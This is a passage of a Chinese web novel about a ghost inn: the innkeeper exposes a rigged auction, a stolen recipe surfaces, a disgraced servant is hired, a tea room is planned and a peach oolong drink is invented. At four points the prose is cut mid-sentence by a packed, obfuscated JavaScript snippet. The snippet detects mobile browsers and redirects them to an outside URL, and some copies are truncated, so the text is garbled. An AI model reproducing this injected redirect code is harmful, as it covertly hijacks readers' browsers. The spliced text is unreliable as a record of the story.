“谢掌柜，您就莫为难我了。”四宝作壁上观瞧了半天戏，闻言此时也坐不住了，“那小厮又不是我的人，说白了这也是你们地府的事，怎样都赖不得我，早知如此，我便不会将八荒奇珍会开在望泉客栈了。” 她从前同谢轻荼打过几次照面，晓得对方不过是位被贬鬼差，如今在一家荒凉客栈当掌柜，又有何能耐，于是甩锅甩得毫无负担。正得意着，却见谢轻荼一双深不见底的眸子牢牢锁住她，心底又蓦地腾起一股怵意。 “这八荒奇珍会，四宝姑娘也在三界开了有上千回，会上各色人等，恶意抬价不过是寻常戏码，你又怎会瞧不出来。瞧出来了，但装作没瞧见，又是什么意思？”谢轻荼面无表情，“我倒是想起了件事，开场前你同一目掌柜进了里屋，我恰好从那路过，隐约听闻你们在说易容什么的。” 她忽地勾起嘴角：“我本以为你们在说会上的拍品，可我瞧今日的珍品可没有哪件和易容有关啊。” 四宝的脸瞬间白了。 谢轻荼心里有数。 后半段话自然是瞎编的，她落座后并未离席，不过倒也同料想的大差不差。 “客栈嘈杂，谢掌柜怕是听岔了，我同一目掌柜不过是在说八荒奇珍会上的事宜。”四宝讪笑，“不过今日之事亦是我疏忽了，那便按您说的，重新竞拍。不过望泉客栈既是东家，也应承担赔偿的义务，劳烦一目掌柜了。” “你…”一目气急，可众目睽睽之下，他叫那股压迫感压得喘不过气，只得悻悻道：“好，好。” 说罢，他无意再留于会上，起身离开前堂，不知忙什么去了。 范离原低笑：“诈人的功夫倒还和过去一般。” “这不是替你省钱么。”谢轻荼指尖敲着杯沿，“若你府上那小鬼晓得主子花三百万为她拍下皇子命格，可不得吓傻么。” “但愿她会吓傻罢。”黑衫鬼差眼底别有深意。 最终谢轻荼以四十万冥币拍得仙桃树种，这跌宕起伏的八荒奇珍会也算是落幕了，四宝瞬间没影，生怕地府众人找她秋后算账。宾客们正欲离开，却见一目招呼伙计将一大锅抬至翘头案上，他不复先前气恼模样，满面红光，似是心情好极了。 “诸位不远万里来这八荒奇珍会，在下也没尽到东家的本分，实在对不住。”一目揭开锅盖，“五十年一度的日子，莫要让小人败坏了兴致。望泉客栈备了些免费的吃食，在场各位都有份，用得不尽兴尽管来添，管够。” 那汤锅白气氤氲，一股尤为熟悉的味道钻入谢轻荼鼻腔。她心往下沉，暗中攥紧拳头，对上一目挑衅似的目光，不消多时，伙计将瓷碗端到她面前。 “这是…”范离原也分得一碗，低头嗅了嗅，没吃，有些惊讶，“六味煲？” 碗中吃食同六味煲大差不差，那些难以在狭间寻得的珍稀食材，被替换为更常见的。即便望泉客栈厨子的手艺及不上裴宴辞，但毕竟用料都是极其鲜美之物，但凡会点厨艺的人都能煮得好吃。 谢轻荼面色堪称糟糕，这六味煲的配方分明只无言客栈一家有，为何又会出现在望泉客栈？ “这便是望泉客栈的招牌菜，五色盅。”一目见宾客们大快朵颐，不免暗喜，他又望向谢轻荼，露出刺眼的笑意，“谢掌柜，你也多用些。” - “六味煲的配方被盗了？”踏雪气得不行，柜台上又多几道爪痕。 裴宴辞愁容满面，指尖翻弄食谱册子：“确切地说，是另誊抄了一份。” 这册子记了他在无言客栈当厨子以来，烧的所有菜式的食谱，就搁在灶房的柜子里，那安禅饭馆主人留下的六味煲的配方仍夹在里头。他魂魄不全，时常忘事，所以做饭时会将食谱搁在手边，用完，习惯性正面朝上放入柜子，可今日一早他却发现食谱是反面朝上的。 “有人动过食谱？”踏雪问道，“今日没听你提起过啊。” “我以为是自己记岔了。”裴宴辞声音低下去。 “可是望泉客栈派了奸细混进客人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165396|196687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里？”踏雪咬牙，“天底下岂有此等荒唐之事，只是换了个名字，六味煲便是他的了？” 裴宴辞摇头：“客人们不晓得食谱册子放在何处。” 所以…只有客栈的人知道它在哪。 剩下的话裴宴辞没说出口，柏玲和杜榆来这有些时日了，他已将他们视作无言客栈的一份子，而怀疑身边之人，于他而言，是件很难的事。 踏雪也不禁压低嗓音：“你是说…柏玲和杜榆？杜榆他老娘怕是不大可能了，眼盲不似作伪，估摸着连自己下楼都费劲。” 谢轻荼坐在案前，始终没搭腔。她破开仙桃树种，核仁放入杯盏里泡水，后又包在布巾中，不消多时，树种便出芽了。四宝这点倒是没夸大，大概到了明日，仙桃就能结果。 她捧着树种起身：“杜榆现在何处？” “外头呢。”踏雪朝门外一努嘴巴。 谢轻荼出了门，杜榆蹲在客栈外墙跟下，身边放着一摞木材。他面上蒙着黑布，遮住烧灼溃烂的皮肤，虽说客栈的人都不在意，但瞧着难免不舒服，他干脆裁了块布巾挡上，只在用饭时取下。 见了谢轻荼，他搁下手里的锤子：“谢掌柜。” “我同你交代的事，做得如何了？” “地板已经铺好了，外墙明日便能动工。”杜榆指着脚下铺设得一丝不苟的地板。 客人逐渐多了，无言客栈那小小的前堂已然装不下那么多人，于是谢轻荼向府君呈请扩建客栈。她这段时日按时上交了贡赋，府君倒也爽快，不一会便命人送了批木材来，不过工人概不提供。恰好杜榆善于木工，这事就落到了他头上。 谢轻荼点头：“你暂且搁下手里的活计，替我栽了这些树种罢。” “桃树？”杜榆接过，指腹轻轻拨弄抽起的嫩芽，“这树种倒是稀奇，并非寻常桃树种，我之前从未见过。” 恰好客栈临河，汲水也方便，他当即拾起铲子，在门外的地里掘坑。裴宴辞也出了客栈，趁杜榆栽种的当口，他走向谢轻荼，目光游移：“谢掌故，借一步说话。” 杜榆做事有条理，叫人放心，也不用人盯着，谢轻荼以为裴宴辞是想问身体的事，便同他行至后院。后院毗邻狭间浓雾弥漫的虚无边缘，没什么瞧头儿，因而客人们鲜少来这，若在房里待得闷了，便去河岸边透气。 檐下埋着酒坛，土有近期被翻过的迹象。客人都嫌她那碧落清酿难喝，于是踏雪又将酒坛子埋了回去。 靠墙放了几只竹篾编织的藤椅，上面浮着一层灰，谢轻荼瞧了瞧，没坐，朝裴宴辞开口：“问过离原了，她同我说你的身体现下在逢春医馆。” 裴宴辞听闻这个名字，面色有些迷惘。 “你可晓得逢春医馆在何处？” 裴宴辞想了想，摇头：“记不得了，这逢春医馆，好似有些耳熟，又像是从未听过，不过叫这名字的医馆，人间许是不止一家。” 他露出浅笑，不知是在宽慰对方，还是自己：“不论如何，还是多谢你了。” 说罢，他唤住转身要走的谢轻荼：“谢掌柜，我还有旁的话要同你说。” 他张了张嘴，攥紧拳头又松开，终是下了决心：“昨天夜里…我听见柏玲出了房间。” 20. 章易 谢轻荼在他面上盯了好一会，久到裴宴辞几乎要以为对方觉得他在撒谎了：“就是昨夜在河边遇见你之前，我睡得浅，叫一阵脚步声吵醒了。那时我还出声问过，门外是柏玲的声音。” “睡得浅…”谢轻荼拢着袖口，指尖在另只手腕上轻轻叩着，“可是因着客栈修葺后，生漆的气味太难闻了？” 裴宴辞：“……” 什么。 这是重点么？ 他轻咳一声，将话头扯回正轨：“当时我以为她许是起夜了，便没往心里去。现在想想，她会不会是…” 谢轻荼顺着他的话说下去：“你是想说，她昨天夜里去了灶房誊抄食谱，再偷偷交予望泉客栈？” 她就这么说出来了，反倒惹得裴宴辞有些不自在。 “不过也许是我搞错了，她就是起夜了。虽说柏玲瞧着不像这样的人，但那人定是在昨日晚饭后到今日八荒奇珍会开场前这段时间里，将抄好的配方交给一目的，白天我始终待在灶房里，所以那人是昨夜去的。” “好罢，那便去问她。” 裴宴辞愣住了。 谢轻荼的话将他打了个措手不及，他从未与人当面对质过，一时间有些不知所措。不说倒还好，但凡说了，就是给人扣上好大一顶帽子，倘若是他冤枉了柏玲，话一问出口，二人今后也势必会有隔阂。 这太得罪人了。 “若是她干的，就算问了，怕也不会承认…”他嚅嗫着嘴唇，衣襟让他攥得皱皱巴巴。 谢轻荼晓得他在想什么，轻叹：“猜忌是一根刺，不说的话，它便永远扎在心里。不是她做的，说开了也好，若是她做的，也不用担心同对方撕破脸皮。” “打心底里我也不认为是柏玲，她的品性你我有目共睹。她还要在客栈待上一段时日，倘若对方是清白的，平白无故被猜忌这么久，对她也不公平。如果你是因着愧疚所以想要逃避的话，那大可不必。” “就算闭口不言，最终却发现误会了她。裴宴辞，你依然会感到愧疚的。” 她说得一点不错，裴宴辞哀哀戚戚地想。因自己的遭遇，他总是不可避免地对身边人感到愧疚，因而养成了逃避的惯性。无论是从前，亦或是现在，他都宁愿闷声吃亏，将糟心事打碎了咽进肚里，也不愿得罪他人。 但此事关乎无言客栈，换句话说，和谢轻荼挂钩，若因自己的逃避让对方为难，这也太说不过去了。 他松开衣摆，深深吐出口气：“好，我去找她。” 谢轻荼点头：“我会和你一起。” 她的话好似一枚定心丸，裴宴辞忽然就安心了。他遇事惯常独自承受，现下有人同他说，会和他一起，心底便瞬间有了底气，好像再遇见什么难事，都不似想象中那么可怕了。 更何况说这话的人，是他眼里无所不能的谢轻荼。 “走罢。” - 结果柏玲说她昨夜并未离开过房间。 裴宴辞愣住：“你再好好想想呢。” “裴小哥，你会不会听错了？”柏玲倒没有表露出不快，只是有些惊讶，“我惯常睡得很沉，没有起夜的习惯。何况昨日忙了整天，就算有人在门外放炮仗我都醒不了。” 她领着客人进门时，让谢轻荼唤进了里屋，这才晓得八荒奇珍会一事，此时仍有些没反应过来。 是他听错了么？ 听她这么说，裴宴辞心里又没底了，他暗自瞄了谢轻荼一眼，还是压下心头泛起的胆怯，道，“客栈里的女子不过四人，杜榆他娘亲就不说了，谢掌柜和踏雪的嗓音我很熟悉。” 这话指向性太过明显，末了，他又委婉道：“会不会是你睡糊涂了，忘了昨晚起夜过？” “不会。”柏玲信誓旦旦，“茅房在一楼，我不至于连走了这么远一段路都会忘记。” 说到此处，她转瞬变了脸色。 裴宴辞见她那样，也叫其骇得心神一颤：“可是想起什么了？” 柏玲结结巴巴地答道：“你们可曾听闻过一个故事，倘若睡梦中听见自己的声音，千万不可回应，那是孤魂野鬼在找替身，若是迷糊应了，便会被鬼物顶替身份。还好我昨夜没听见那声音，不然非得吓到失眠不可。” “啊…”裴宴辞喉结滚动一下，他听见的不是自己的声音，应该没事罢？ “……” 谢轻荼：“此地到处是鬼，你们还怕鬼呢？” “也是。”柏玲有些不好意思，“都忘了我现下也是鬼。” 谢轻荼：“你想说的可是口技？” 世间不乏善口技者，可拟飞禽走兽啼鸣吠叫，亦可仿效他人嗓音，柏玲故事中的孤魂野鬼，多半是某种会口技的鬼物。 “是，是。”柏玲皱眉，“不过客栈里有谁会口技么？” 裴宴辞：“不晓得。” 他不免懊恼，早知如此，昨夜便开门瞧一眼了。声音能作伪，但一个大活人…不，大活鬼可作不得假，究竟是不是柏玲，一眼便知。 “不瞒你说，我起初本是想去望泉客栈的，可那独眼掌柜听闻我没钱，当即抄起扫帚将我赶了出去，我又怎会替他做事？”柏玲叹气，“我想杜榆也是如此，谢掌柜给我们的待遇很好，他亦没有理由这么做。何况他还有娘亲，能安安稳稳地走完这遭，又何苦去行多余之事。” 她说得在理，话又绕回了死胡同，裴宴辞喃喃道：“莫非真就是一目命人混入客人中，阴差阳错寻到了食谱？” 话都说到这份上，再一口咬死就是柏玲干的也没有意义。 继续说下去也道不出什么名堂，一目这回得了甜头，势必不会就此罢休，而那奸细也总会露出马脚。谢轻荼叮嘱柏玲先莫要告诉杜榆，而后便让她去忙活了。 柏玲走到门口，临了回头：“裴小哥，还好你今日同我说了这回事。倘若你们顾及情面，憋着不说，暗地里又对我怀有芥蒂，那我可受不了。” 裴宴辞闻言松了口气，也笑了。 柏玲前脚刚走，后脚屋外又响起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165397|196687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踏雪的骂声：“你来无言客栈做甚，给我滚蛋！” 它嘴上说着嫌孟娘嫌到了骨子里，但就算见了对方，也不至于如此失礼，对寻常客人就更不会了，都是翘着尾巴相迎的，这回究竟是何人惹得它这般大的火气？ 这厢谢轻荼还没动作，裴宴辞就按捺不住了，当即掀开门帘出去，生怕猫儿叫人欺负了。可踏雪又岂是个软弱的性子，龇牙咧嘴地对着来人低吼，那人衣襟上已是多了几道被它挠出的爪痕。 柏玲正忙着劝架，揉着踏雪的脑袋以作安抚，顺便薅一把肖想已久的猫毛：“消消气，消消气，怎的这么大火，莫要吓走了客人。” 等那来人一抬头，旋即她也愣住了：“怎么是你？” 此人正是望泉客栈那会易容之术的小厮，他脖颈仍是歪的，左脸上一道醒目的巴掌印。柏玲和他同为迎客之人，一来二去也相互眼熟了，她记得这人好像叫什么…章易。之前听闻谢轻荼说起八荒奇珍会一事，也晓得章易做了什么，至于对方来这的原因，她心底里拼凑出了个大概。 见了谢轻荼，章易唯唯诺诺地唤她：“谢掌柜。” “没地去了？”谢轻荼淡然道。 章易坏了一目的好事，对方自然不会留他在望泉客栈了。而他来此的缘由，料想也不仅仅是向谢轻荼赔礼道歉。 “是…”他低着脑袋，“谢掌柜，实在对不住，您可否行行好，留我在无言客栈做工。我欠了地府的债，得还上钱后再入轮回。” 饶是心软如裴宴辞，闻他此言也大动肝火：“这位小哥，你也太没脸没皮了罢，谢掌柜没有过多为难你，你倒好，蹬鼻子上脸了。望泉客栈赶你走，和无言客栈有什么关系？” “不对啊，你是怎么渡河的？”柏玲想起了什么，“啊，该不会是混在上批客人里一道来的罢？” 她当时忙着迎客，竟让这人混上了船。 章易不吱声，算是默认了。若是直截了当地同柏玲说请她载自己到无言客栈，对方决计不会答应的，于是乎便想出这不光彩的招数。他有错在先，心里没底，在客栈外徘徊了许久，方才进门。 谢轻荼眸色深沉：“你也晓得我从前是何人，不见得会比一目仁慈。” “谢掌柜，拜托您了。”章易倏然朝她跪下，“今日出了这档子事儿，旁的商铺许是不会收留我了，您大人有大量，行行好，莫要同我这小人计较。今后我什么都听您的，让我往东，我绝不往西。” 说罢，他又连磕三个响头，咚咚几声，唬得裴宴辞和柏玲不自觉地后退。谢轻荼站着不动，唇边泄出一声轻笑，面色和牙齿都是白惨惨，现下倒像索命的鬼差了。 “在此地，就莫要玩人间男儿膝下有黄金那套了，除了给客栈的地板擦擦灰，可还有别的价值？若下跪真能抵万两，那大街上得跪满了人，别说下跪了，就算你现下将膝盖剜出来给我，于我而言，也只不过是垃圾罢了。” 她的笑意并未抵达眼底：“何况我这千年老鬼，也不怕被你折寿。” 21. 茶室 章易没有抬头，闻言汗都下来了，额头抵着的那块地板也叫他濡湿了。他唯恐弄脏地板又惹得谢轻荼不快，赶忙用袖口抹去。 他曾听闻过对方从前的事迹，晓得谢轻荼是位良善之人，以为装装可怜便可搏得她的同情，却忘了，对方向来是个有原则的人。 谢轻荼的话点醒了他。 章易伏低做小惯了，此时却忽然意识到，自己现下的行为有多唐突而又不妥当。 他起身，低头抬手作揖，姿态要多卑微便有多卑微：“您说的对，谢掌柜，是我唐突了。” “八荒奇珍会上抬价一事，是一目掌柜命我这么做的，我这么说并非是想推卸责任，既然我因他许的好处而应允了，自然也该一同承担代价。” 实则不只是许了他好处，其中也有一目胁迫的成分在，不过说出来又怕有卖惨的嫌疑，他愣是憋着没说。 谢轻荼一言不发，等着他说下去。 “还请给我一个将功补过的机会，留我在无言客栈做工，无论是迎客还是打杂我都能做。若您之后不满意，大可再赶我走，我不会有任何怨言。”他的姿态诚恳了许多，也没有之前那种要死要活的架势了。 踏雪坐不住了：“你不但想同那独眼掌柜坑轻荼的钱，又盗走六味煲的配方，现在只凭几句废话，便想一笔勾销了？天底下的便宜，咋都让你们望泉客栈占了呢。” “六味煲？你是说…五色盅？”章易着急忙慌道，“那个不是我偷的。” “我的确从一目掌柜口中听闻过此事，当时也想…”他心虚地瞄了一眼谢轻荼，“也想主动请缨，但他说，鸡蛋还是莫要放在同个篮子里为好，便让旁的人去干这腌臜事儿了。至于是谁，我也不便多问。” “所以你是想说，这事和你没关系是么？”踏雪咬牙切齿。 “我发誓。”章易抬头，“若有一句谎话，便让我永世不得超生。” 这誓言也太狠毒了，踏雪咂舌，它望向谢轻荼：“怎么说？” 章易不像在说谎。 之所以得出这个结论，倒不是因为他起了毒誓，而是正如裴宴辞所说，除了无言客栈的人，再无人晓得食谱放在何处。 谢轻荼思忖片刻，朝柏玲道：“领他熟悉下客栈罢。” “多谢谢掌柜。”章易松了口气，他抬手作揖，同柏玲上楼了。 踏雪仍不放心，等不见二人身影，它压低声音：“你就不怕一目赶他走，只是逢场作戏，他们暗地仍有勾结，只为了让章易打入无言客栈内部，往后更方便使阴招？” 谢轻荼摇了摇头。 裴宴辞此时也瞧出了些门道：“谢掌柜，你可是有法子了？” 也是，那可是谢轻荼，怎会行吃力不讨好之事。 谢轻荼勾起嘴角，没有多言。 “嗯。” - 桃树已有及腰高了，谢轻荼对吃食没什么讲究，但一想到清甜多汁的桃肉，也不免有些期盼。 岸边搁着木桶，里头湿漉漉的，想来杜榆已经浇过几轮水了。 绕到客栈侧边，没见他人影。外墙拆卸了一半，因着客人会在前堂来去，此处实在有碍观瞻，还漏风，他便用块布帘遮住了。 谢轻荼又回到客栈，上楼，想去房间寻他。 为方便照料，杜榆和他娘亲同住一屋。谢轻荼走到他房门口时，木门正大敞着，他不在屋里，只有那老妇倚在床头，嘴里泄出抽泣声，不住地抹着眼泪。 谢轻荼犹豫半晌，还是轻轻叩了叩门板。 “是我。”她走向老妇，“大娘，你怎么了？” 尽管她的年岁于对方而言全然是祖宗级别的，但毕竟长相和声音摆在这里，若要直呼其名，总感觉怪怪的。 那浑浊双眼惨淡淡地睁着，泪水滚出耷拉着的眼皮。老妇眼盲得彻底，空洞目光落到她声音传来的方位，迷惘地晃了晃，眼底的悲恸也荡了出来。 在这狭间，亡魂泣泪并非稀罕事，人死不能复生，谢轻荼只当是对方生前有放不下的事。 谁知老妇喃喃道：“我想榆儿了。” 想杜榆？ 可杜榆不就在客栈里么？ 谢轻荼压下心底的疑惑，蹲在榻前，握住她的双手，指腹摩挲着上头粗粝的纹理，一点也不在意那焦渍沾上自己素净的手掌，“杜榆就在客栈里，若你想见他，我便替你唤来。” “不，不…”老妇却连连摇头，“不对，榆儿，榆儿他不在…” 一阵脚步声在走廊上响起。 “娘？” 杜榆端着碗热汤出现在门口，突兀地闯入满室悲伤中，止住了老妇未道出口的话。他换了身衣裳，面巾取下，湿淋淋地搭在肩头。 也不知那番话他听见了多少，见老妇面上尽是泪痕，他一下慌了神，忙搁下汤碗，俯身揽住对方：“娘，怎的哭了，哪里不舒服么？” 谢轻荼退到一旁。 老妇叫他一唤，回神：“榆儿。” 杜榆见对方无恙，放下心，用面巾细细地擦拭她的脸，又听谢轻荼问道：“你做什么去了？” “娘亲说饿了，我便央裴小哥替我煮了份热汤。”他将面巾搭在架子上晾干，“之前挖土时身上沾了不少泥，我怕踩脏地板，打了桶水去后院简单清理了下再上楼。” 杜榆在无言客栈总是这般局促，许是因着他娘亲无法做工，又多一张吃饭的嘴，他为人本分，因此很是过意不去。平日干活也是能多干便多干，比裴宴辞和柏玲要多做几倍的工。 “我娘老糊涂了，时常这般，让你见笑了。”他有些不好意思，端起汤碗，舀一勺热汤吹凉后递到老妇嘴边，“谢掌柜，有什么事么？” 谢轻荼一瞥老妇。 对方眼中已不见悲伤之色，有些木木的，人偶一般张嘴咽下汤汁。 “待你娘亲吃好了，去楼下寻我。”她转身出门。 客栈外还是那副光景，谢轻荼倚着外墙，在纸上勾勾画画。 片刻后杜榆下楼，没花太多时间，许是怕她等急了。 谢轻荼将手里的纸张递给他：“你且瞧瞧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165398|196687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 手艺这个东西是门玄学，虽说谢掌柜始终掌握不好颠勺的力度，但用笔可谓一把好手，根根线条都勾勒得恰到好处，因而杜榆轻易便瞧出她画的是什么。 “谢掌柜，你想打造一间茶室？” 谢轻荼点头：“客人会在前堂用饭，油烟气大，我想着另开辟一间茶室。恰好现下也有仙桃，我让裴宴辞多研制些茶饮。” “好。” “我只画了个大概，有些细节，还要同你口头交代，这里。”她指着纸面，“临河的这面墙做镂空雕花窗棂，以便观景。再分隔一里间备料，要有炉灶和木制台面，如此这般，便不用在灶房和茶室间两头跑了。” 杜榆一一记下。 “地方就这么大，最好靠墙打造一长条台面，放高脚凳，另侧再摆方木案，节省空间。”他有些犯难，“灯笼的话，悬在天花板上不好，显挤，要么做壁挂式的小灯笼罢，这样不显逼仄，茶室里也不会太暗。” 谢轻荼低头盯着铺好的地板：“能再往外延些么？” “可以是可以。”杜榆倒是很替她着想，“不过先前批的木材是定好份量的，之后还要算上内设的用料，倘若再扩张，只怕又是一笔不小的开支。” 也是。 谢轻荼想起府君说一不二的作风，许是不会通融的，再者之前拍下仙桃树种，她账上的冥币也不太宽裕了。 “你定便好，至于个中细枝末节的，也麻烦你把关。” “好嘞。” “另外，茶室内设的话我想用黄花梨木，上浅色漆面，嗯…”她稍加思索，“要与客栈内设不同，但不可太突兀，总之要融合于整体风格。” 客栈里的陈设是她被贬后，从之前的府上搬来的，由地府统一置办。府君的审美她无力调侃，何况那些东西都已经很旧了，等茶室造好，她要慢慢地给客栈大换血。 后面她又交代了很多，总而言之，既要风雅，但又不能太古板。末了，她问：“会很繁琐么？” “其实还好，只是要多花些时日。”杜榆憨厚地笑道，“反正我还要在无言客栈待上很久，会尽量赶工的，少睡会也没事。” 这话说的谢轻荼反倒有些过意不去了：“按你原本的作息便好，现下客栈雇了新人，让他替你分担些，等会让柏玲将那人领来。” 她递给对方纸笔：“还要什么材料，你列张单子，回头我转交给地府的人。” 片刻后，杜榆将列好的单子给她：“就这些，谢掌柜，那我去忙了。” 他转身要走。 “你…”谢轻荼眉心轻蹙，似是在组织措辞。 杜榆回头：“谢掌柜，还有事么？” “…多陪陪你娘亲。” 今生母子情深，等入了轮回，下辈子，也许就是陌生人了，再不会有交集。 闻言，他有些愣怔，转眼又笑了：“好，我晓得了，多谢你。” 回到客栈，谢轻荼将单子誊抄在纸笺上，叠纸鹤放飞。 而杜榆写的那张，被她妥帖地收到了柜子里。 22. 桃汁乌龙 谢轻荼拎着大篓食材回到狭间。 无言客栈正稳步走向正轨，于是她向府君呈请归还她出入人间与地府的权限，对方倒是爽快地应允了，所以每周的最后一日，她都会去人间补给食材。 桃树枝繁叶茂，缀满浑圆饱满的仙桃，分外诱人。它们错落有致地环抱着客栈前院，颇有世外桃源之韵，同那雕栏玉砌的望泉客栈是种截然不同的意境。 只不过狭间终年灰雾弥漫，这份绿意，倒显得分外另类了。 裴宴辞正在切桃，桃汁粘了满手，使他整个人都散发一股甜滋滋的香气。 谢轻荼搁下陶罐：“鲜牛乳买来了。” 柏玲端着碗浮圆子，凑在一旁，嘴边满是芝麻馅。尽管现下是春末，上元佳节早已过去，但她嗜甜，就好这一口，时常央裴宴辞煮给她吃。 现挤的牛乳泛着股淡淡的腥臊味，奶白之上浮一层金黄色的油脂。 闻到那股味道，她不禁皱起鼻子：“裴小哥，这牛乳当真可和乌龙茶叶一道煮么？” “自然。”裴宴辞将陶罐塞到她怀里，“牛乳先去锅里煮上一炷香的时间。” 见柏玲浮圆子糊了满嘴，他揩揩手，又抱回自己臂弯里：“罢了，还是我去。” 他一离开，踏雪不知从哪冒出，蹿到切好的仙桃边，瞬间叼走一块，囫囵吞枣似的咽下，汁水淌到胸毛上。 “这便是价值六十万冥币的仙桃？”它舔了下嘴巴，“尝着和寻常毛桃无甚分别啊。” 柏玲惊讶：“你这猫儿还吃过桃子呢。” “怎么说话的，我生前好歹也在大户人家待过。”踏雪呛她，转眼又望向谢轻荼，“轻荼，你是不是叫人诓了？” “你怕是没尝出味儿来罢。”柏玲也捻起一块桃肉，小心地送入嘴里，“此种上等鲜果，你得像我这般，仔细些品味…” 话未说完，她睁大双眼：“不是罢，这也太好吃了。” 踏雪不信邪似的又叼一块，同她那般细嚼慢咽，也尝出些滋味，抖着胡须叹道：“好吃，好吃极了，天上那些神仙老儿过得是什么好日子啊。连一日一结果的仙桃都这般美味，那三千年一开花，三千年一结果的蟠桃会是何种滋味？” 二人禁不住诱惑，一块块往肚里咽，桃肉瞬间少了一半，柏玲招呼谢轻荼：“谢掌柜，你也来尝尝。” 她们吃相实在不矜持，谢轻荼瞧得无奈，半天没动。不过那仙桃的香气过于诱人，饶是她也舌根发痒，便捻一块小口品尝。 踏雪没有夸张。 仙桃软硬适度，汁水充沛，甜而不腻，舌尖甫一触及，便给予味蕾极大的满足感。桃肉自唇齿间碾碎，清甜在食道内蔓延，一块下肚，整个人神清气爽。 不枉她花了六十万冥币。 值了。 裴宴辞出灶房取茶叶时，经过前堂，见案板空了，不禁傻眼。 “……” 不是，他桃呢？ - 屋外的杜榆和章易又摘一小篮仙桃送来。 裴宴辞重新切桃：“虽说仙桃取之不尽，但莫要吃多了，腹胀，好歹留点肚子尝尝我调制的茶饮罢。” 柏玲有些不好意思：“就放在眼前，谁能忍住。” “我不就忍住了么？”裴宴辞无奈。 不过之前他也偷偷吃了一小块就是了。 他轻咳一声，一瞥踏雪和柏玲：“你俩也太贪食了。” 猫儿不服气：“你怎的不说轻荼，她也吃了不少。” “这…”裴宴辞暗自瞄了一眼云淡风轻的谢轻荼，有点心虚，打算揭过这章，“柏玲，劳烦你替我送几只琉璃杯盏来，还有木杵。” “好嘞。” 谢轻荼低声逗弄踏雪：“以后你再吃仙桃，食钱便从你小金库里扣。” 这下猫儿可不敢造次，夹着尾巴一溜烟蹿没了影。 裴宴辞将桃肉捣碎，铺在杯底，再倒入泡好的乌龙茶。他手腕很稳，不急不躁，避免让桃肉里的絮状物混进茶水里，显得浑浊。 虽说味道不会有什么差别，不过粉嫩的桃肉与清透的乌龙茶分层，搁置少许时间，中间便会是渐变的淡粉色，再透过琉璃杯盏的衬托，总归是卖相好些的。 柏玲：“这道茶饮唤作什么？” 裴宴辞手上忙活不停，随口起了个名字：“桃汁乌龙罢。” 说罢，他意识到自己有点喧宾夺主了，实在不妥，便又停下手里的活，抬眼，征求谢轻荼的意见：“谢掌柜，你意下如何？” “桃汁乌龙么…”谢轻荼瞧他那样，心里不免有些好笑，“甚好。” 裴宴辞松了口气，他用小刀将切片的桃肉雕成桃花的样子，别在杯盏上，一杯完整的桃汁乌龙便妥了。 那桃花雕得同真花似的，花瓣片片分明，但凡同吃食有关的，他都能做出花样来。 至于踏雪那杯，他为其雕了个憨态可掬的猫咪脑袋，末了，环顾一周，这才发现踏雪不见了。 “它人呢？” 谢轻荼抿一口茶，轻笑：“守财奴守金库去了，放心罢，闻到香味了自然会来。” 柏玲一杯下肚，意犹未尽：“好喝，桃汁的甜味中和了乌龙茶的苦涩，混在一起丝毫不显突兀。裴小哥，你之前可是调制过这种茶饮，我从未想过还能这般搭配。” 裴宴辞从前哪里有钱买水果，只幼时，某日裴父拎了一小筐红毛丹回家，以讨娘亲欢心，他也沾光尝了几枚，那滋味，现下早已忘却了。 他摇摇头：“今日一早想的。” “天赋异禀。”柏玲惊叹，“不过这桃汁乌龙也没用到牛乳啊？” “那是用作另道茶饮的…你还喝得下么？” 她打个饱嗝：“勉勉强强？” “好罢，我去瞧瞧牛乳煮好了没。” 柏玲瘫在椅子上轻揉肚皮，想起什么似的，倏然着急忙慌往门外去：“糟了，该去迎客了，正好消消食。” 临出门，她不忘回头道：“谢掌柜，你们记得给我留一份啊。” 谁成想今日的头一位客人是像阵风般掠进门的孟娘。 她从怀里掏出几个巴掌大的物什搁在案上，当无言客栈是自己家似的，大大咧咧地坐下。刚想使唤谢轻荼去给她斟碗碧落清酿，见那余下的一盏桃汁乌龙，她新鲜地眨了眨眼，旋即抬手一饮而尽。 谢轻荼：“一盏二十冥币。” “去。”孟娘一指物什，“我给你送礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 